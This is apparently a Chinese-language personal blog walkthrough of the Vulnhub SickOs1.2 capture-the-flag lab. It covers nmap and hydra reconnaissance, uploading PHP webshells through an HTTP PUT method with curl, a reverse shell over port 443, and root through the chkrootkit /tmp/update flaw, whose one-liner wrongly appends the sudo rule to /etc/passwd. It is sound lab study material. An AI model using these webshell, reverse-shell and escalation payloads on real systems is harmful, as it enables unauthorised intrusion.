Vulnhub SickOs1-2 Writeup

缺乏经验,学习之

0x01 信息搜集

1
2
3
4
5
# 扫描靶机地址
nmap -sn -T5 192.168.206.1/24

# 扫描开启服务和端口
nmap -sV -A -p- -T5 192.168.206.151

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 66:8c:c0:f2:85:7c:6c:c0:f6​​:ab:​7d:48:04:81:c2:d4 (DSA)
| 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open http lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn’t have a title (text/html).
MAC Address: 00:0C:29:CE:AB:B8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.98 ms 192.168.206.151

两个端口开放80和22

80端口

访问一下80,就一张meme图


查看源码,也没有东西,使用dirb和nikto扫描端口


出现一个test文件夹,浏览器访问


得知是lighttpd 1.4.28版本,查看web指纹


没有建设性资料,再于其基础上dirb路径爆破,依然无果,80端口暂放

22端口

hydra进行ssh爆破

1
2
hydra -L top-usernames-shortlist.txt -P password-100.txt 192.168.206.151 -t 20 -I ssh
hydra -L top-usernames-shortlist.txt -P password-1000.txt 192.168.206.151 -t 20 -I ssh

均未成功,看来这里存在知识盲区

一番查询后得知,可用curl来服务器探查支持的HTTP方法,就对于仅有的两个页面进行探查

1
2
curl -v -X OPTIONS http://192.168.206.151
curl -v -X OPTIONS http://192.168.206.151/test/


/test/路径下支持多种方法

0x02 漏洞挖掘与利用

以前只在图解HTTP中听说过,从来没有实际操作过HTTP方法。使用curl直接采用PUT方法,尝试将后门放入服务器

1
2
3
4
5
curl -v -X PUT -d "<?php system($_GET['cmd']); ?>" http://192.168.206.151/test/t.php
# -v 回显信息
# -X 请求方法
# -d post数据
<?php $a = "assert"; $a(@$_POST['shell']); ?>


可以看见在test页面中出现了t.php


用蚁剑连接,连接超时!


一句话中没有中文字符,同时也测试了好几个其他免杀木马,均连接失败,随手传了个phpinfo却能执行


经过验证,后台代码可以执行,但是无法接收,这样也好说,既然传不了那我就直接执行,结果也会失败。


如上图,能看见是服务端错误

  • waf拦截

这种一直断连的场景存在waf的可能性很高,于是使用nmapwafw00fsqlmap

1
2
3
4
nmap -p 443, 80 --script=http-waf-detect 192.68.206.151/test

wafw00f -a url
# -a 所有类型waf

以上的waf探测没有下文

  • 点击test下的x.php,使用burpsuite进行拦截,直接在bp中对HTTP报文进行修改,将一句话写入


尝试访问,成了!


我想看看之前为什么会出错,所以继续写入指令cat%20x.php,然后用bp拦截


上图可见,我们用curl写入的webshell已经不成形了,后续再次写入webshell并cat查看,发现$_GET['pass']变成了['pass'],带有$的部分都被删去了一些,不用说了,看下面的解析。

问题总结

问题的来龙去脉(Kioptrix2014也遇到过)

php一句话的两种写法

"<?php system($_GET['pass']); ?>"

'<?php system($_GET["pass"]); ?>'

第一种:双引号套单引号

​ $号会被解析,需要转义

第二种:单引号套双引号

​ $号不会被解析,无需转义

  • 好的,我们再次用蚁剑连接能用的webshell,结果继续失败,这里推测进行了拦截,那么还有一条路直接反弹shell

找到kali中的php-reverse-shell.php文件,调整ip为192.168.206.142,port为4444,复制全部代码,粘贴到bp中发送。


kali中nc监听,浏览器中点击reverse-webshell,然而nc中并没有连接


经过查询(这里应该自己慢慢扫描,原因是管理员对iptables or Firewall进行了配置),靶机之开启了443端口进行交互,所以我们将php-reverse-shell的port设置为443,bp重新发送,nc也监听443端口,点击shell.php


成功拿到反弹shell

0x03 提权&get flag

发现python能用,遂将哑shell升级为交互shell,然后获取一波os信息

1
python -c "import pty;pty.spawn('/bin/bash');"


lsb_release -a查看版本号


wget和gcc靶机上均能使用

kali上searchsploit查找exp


用bp写入靶机文件,gcc编译后执行,无一有效

遂借鉴walkthrough,etc下存在chkrootkit 0.49,chkrootkit是一款防rootkit的shell脚本,可是其自身也存在漏洞,可以被利用于提权


查看该文件后得到提权思路


把我们提权代码保存在/tmp/update中,chkrootkit一段时间后便会执行它(通常以root权限)

下面是是exp

1
2
echo 'echo chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/passwd' > /tmp/update
# 我们将给予当前用户对sudoers文件的写权限,然后令当前用户能够以无密码模式使用sudo执行所有命令

等待一段时间后,执行sudo su - root,拿到root权限,get flag


我们查看一下root下的newRule文件


果然防火墙设置只有22、80、8080、443端口能够进出

0x04 总结

  • 深入shell语言
  • Linux提权需要总结
  • 防火墙阻挡执行端口的流量,这样我们就无法用被阻挡得端口反弹shell
  • /etc/sudoers中添加命令的格式:www-data(用户名) ALL=(ALL)NOPASSWORD:ALL

0x0N 参考资料

Walkthrough

vulnhub SickOS1.2靶机

获取 SickOS 1.2 Flag (CTF Challenge)

SickOS 1.2 WalkThrough

SickOS 1.2: Walkthrough

Vulnhub SickOs: 1.2 Walkthrough

cURL

fb 安全工具 | 利用curl 突破服务器限制,进行安全渗透测试

Curl在渗透测试中的应用(LOLBAS)

在渗透中curl的常见用法

curl渗透测试常用功能

在渗透中curl的常见用法

cURL在Web渗透测试中的应用

reverse webshell

linux各种一句话反弹shell总结

一句话木马绕过研究


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!